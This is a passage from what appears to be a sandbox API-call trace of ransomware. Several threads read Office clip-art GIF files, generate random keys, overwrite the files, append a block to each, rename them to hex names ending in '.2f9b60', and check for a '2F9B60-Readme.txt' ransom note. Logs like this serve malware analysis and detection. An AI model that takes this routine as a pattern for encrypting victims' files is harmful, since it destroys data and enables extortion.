liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.983] WriteFile (in: hFile=0xe60, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x39fcfc90, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x39fcfc90*=0x10a, lpOverlapped=0x0) returned 1 [0117.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0117.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0117.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0117.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604a0) returned 1 [0117.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0117.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263650 [0117.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263650) returned 1 [0117.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0117.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0117.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.004] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="b5") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="a6") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="1f") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="a0") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="69") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="bc") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="5d") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="fc") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="ae") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="57") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="1b") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="4d") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="71") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="97") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="b5") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="36") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="60") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="a1") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="c6") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="8f") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="98") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="0b") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="6b") returned 2 [0117.004] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="70") returned 2 [0117.004] RtlInitAnsiString (in: DestinationString=0x39fcfd08, SourceString="b5a61fa069bc5dfcae571b4d7197b53660a1c68f980b6b70" | out: DestinationString="b5a61fa069bc5dfcae571b4d7197b53660a1c68f980b6b70") [0117.005] RtlAnsiStringToUnicodeString (in: DestinationString=0x39fcfcd8, SourceString="b5a61fa069bc5dfcae571b4d7197b53660a1c68f980b6b70", AllocateDestinationString=1 | out: DestinationString="b5a61fa069bc5dfcae571b4d7197b53660a1c68f980b6b70") returned 0x0 [0117.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d70 [0117.005] wcscat (in: _Dest=0x2050cc90, _Source="b5a61fa069bc" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b5a61fa069bc") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b5a61fa069bc" [0117.005] wcscat (in: _Dest=0x2050cc90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b5a61fa069bc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b5a61fa069bc.2f9b60" [0117.005] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b5a61fa069bc.2f9b60", NtPathName=0x39fcfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b5a61fa069bc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119240 [0117.005] NtSetInformationFile (FileHandle=0xe60, IoStatusBlock=0x39fcfd50, FileInformation=0x119240, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 [0117.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20292a40) returned 1 [0117.153] NtQueryInformationFile (in: FileHandle=0xe60, IoStatusBlock=0x39fcfd18, FileInformation=0x39fcfd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39fcfd18, FileInformation=0x39fcfd28) returned 0x0 [0117.153] NtSetInformationFile (FileHandle=0xe60, IoStatusBlock=0x39fcfd18, FileInformation=0x39fcfd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cc90) returned 1 [0117.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0117.170] FlushFileBuffers (hFile=0xe60) returned 1 [0117.172] CloseHandle (hObject=0xe60) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050cc90 [0117.173] wcscpy (in: _Dest=0x2050cc90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.173] wcscat (in: _Dest=0x2050cc90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cc90) returned 1 [0117.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8627d0) returned 1 Thread: id = 1273 os_tid = 0xdcc [0115.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif")) returned 0x20 [0116.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", dwFileAttributes=0x20) returned 1 [0116.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe48 [0116.330] GetFileSizeEx (in: hFile=0xe48, lpFileSize=0x39d7fdc0 | out: lpFileSize=0x39d7fdc0*=8430) returned 1 [0116.330] SetFilePointerEx (in: hFile=0xe48, liDistanceToMove=0x20ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.330] ReadFile (in: hFile=0xe48, lpBuffer=0x39d7fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39d7fd88, lpOverlapped=0x0 | out: lpBuffer=0x39d7fd40*, lpNumberOfBytesRead=0x39d7fd88*=0x4, lpOverlapped=0x0) returned 1 [0116.561] SetFilePointerEx (in: hFile=0xe48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0116.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0116.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0116.561] NtQuerySystemTime (in: CurrentTime=0x39d7fc80 | out: CurrentTime=0x39d7fc80*=132462177220150000) returned 0x0 [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x58999d7a [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x3981fc15 [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x15513d17 [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x4e85dec3 [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x3f21460e [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x24b780b8 [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x1adbca4d [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x147424f7 [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x1829f318 [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x391c263a [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x31f8fdd5 [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x58fd8b2a [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x4cf0279 [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x44bf7211 [0116.561] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x7e2c0db3 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x21b44338 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x46f559f5 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x7a965602 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x664138c8 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x71eab13e [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x26737ee5 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x2815d08 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x534b2380 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x75d99f94 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x27010d81 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x76f7cae9 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x6c44ac1 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x655635bc [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0xdc7ebd0 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x2f838b14 [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x2644dfba [0116.562] RtlRandomEx (in: Seed=0x39d7fc70 | out: Seed=0x39d7fc70) returned 0x73075c9e [0116.572] ReadFile (in: hFile=0xe48, lpBuffer=0x41bb9560, nNumberOfBytesToRead=0x20ee, lpNumberOfBytesRead=0x39d7fc70, lpOverlapped=0x0 | out: lpBuffer=0x41bb9560*, lpNumberOfBytesRead=0x39d7fc70*=0x20ee, lpOverlapped=0x0) returned 1 [0116.612] SetFilePointerEx (in: hFile=0xe48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.612] WriteFile (in: hFile=0xe48, lpBuffer=0x41bbd170*, nNumberOfBytesToWrite=0x20ee, lpNumberOfBytesWritten=0x39d7fc74, lpOverlapped=0x0 | out: lpBuffer=0x41bbd170*, lpNumberOfBytesWritten=0x39d7fc74*=0x20ee, lpOverlapped=0x0) returned 1 [0116.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260950 [0116.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263590 [0116.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263590) returned 1 [0116.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bbd170) returned 1 [0116.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bb9560) returned 1 [0116.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0116.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0116.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263590 [0116.753] SetFilePointerEx (in: hFile=0xe48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.753] WriteFile (in: hFile=0xe48, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x39d7fd90, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x39d7fd90*=0x10a, lpOverlapped=0x0) returned 1 [0116.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0116.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0116.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0116.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608f0) returned 1 [0116.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0116.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0116.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626f0) returned 1 [0116.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0116.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0116.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0116.990] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="06") returned 2 [0116.990] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="b5") returned 2 [0116.990] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="b5") returned 2 [0116.990] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="5a") returned 2 [0116.990] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="6e") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="a4") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="83") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="ba") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="9b") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="25") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="2b") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="d0") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="9d") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="1f") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="93") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="8d") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="c3") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="55") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="2f") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="b5") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="35") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="ba") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="1c") returned 2 [0116.991] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="df") returned 2 [0116.991] RtlInitAnsiString (in: DestinationString=0x39d7fe08, SourceString="06b5b55a6ea483ba9b252bd09d1f938dc3552fb535ba1cdf" | out: DestinationString="06b5b55a6ea483ba9b252bd09d1f938dc3552fb535ba1cdf") [0116.991] RtlAnsiStringToUnicodeString (in: DestinationString=0x39d7fdd8, SourceString="06b5b55a6ea483ba9b252bd09d1f938dc3552fb535ba1cdf", AllocateDestinationString=1 | out: DestinationString="06b5b55a6ea483ba9b252bd09d1f938dc3552fb535ba1cdf") returned 0x0 [0116.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8ec0 [0116.991] wcscat (in: _Dest=0x2050cf50, _Source="06b5b55a6ea4" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\06b5b55a6ea4") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\06b5b55a6ea4" [0116.991] wcscat (in: _Dest=0x2050cf50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\06b5b55a6ea4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\06b5b55a6ea4.2f9b60" [0116.991] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\06b5b55a6ea4.2f9b60", NtPathName=0x39d7fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\06b5b55a6ea4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118fd0 [0116.992] NtSetInformationFile (FileHandle=0xe48, IoStatusBlock=0x39d7fe50, FileInformation=0x118fd0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118fd0) returned 1 [0117.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291460) returned 1 [0117.732] NtQueryInformationFile (in: FileHandle=0xe48, IoStatusBlock=0x39d7fe18, FileInformation=0x39d7fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39d7fe18, FileInformation=0x39d7fe28) returned 0x0 [0117.733] NtSetInformationFile (FileHandle=0xe48, IoStatusBlock=0x39d7fe18, FileInformation=0x39d7fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cf50) returned 1 [0117.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ec0) returned 1 [0117.767] FlushFileBuffers (hFile=0xe48) returned 1 [0117.773] CloseHandle (hObject=0xe48) returned 1 [0117.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050d210 [0117.773] wcscpy (in: _Dest=0x2050d210, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.773] wcscat (in: _Dest=0x2050d210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0117.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862880) returned 1 Thread: id = 1274 os_tid = 0xdd0 [0115.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif")) returned 0x20 [0116.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", dwFileAttributes=0x20) returned 1 [0116.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1694 [0116.322] GetFileSizeEx (in: hFile=0x1694, lpFileSize=0x3a62f820 | out: lpFileSize=0x3a62f820*=8230) returned 1 [0116.322] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x2022, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.322] ReadFile (in: hFile=0x1694, lpBuffer=0x3a62f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a62f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3a62f7a0*, lpNumberOfBytesRead=0x3a62f7e8*=0x4, lpOverlapped=0x0) returned 1 [0116.516] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263680 [0116.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628a0 [0116.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f20 [0116.516] NtQuerySystemTime (in: CurrentTime=0x3a62f6e0 | out: CurrentTime=0x3a62f6e0*=132462177219838000) returned 0x0 [0116.516] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x30e89221 [0116.516] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x2fc15bc7 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x53cbadc0 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x56a11887 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x3d4869a5 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x2a89fa88 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x28c03855 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x5dfd037e [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x2d645e4c [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x6bba4689 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x227c09c4 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0xa159970 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x67bdbf12 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x24c622e [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x4dbeaf8f [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x897a7ab [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x7f16b22 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x4ef15e65 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x34a89071 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x24b04e7e [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x28251731 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x1a6015c2 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x6a758bab [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x47628908 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x22a1999 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x6658f63b [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x7106775e [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x5375fc40 [0116.517] RtlRandomEx (in: 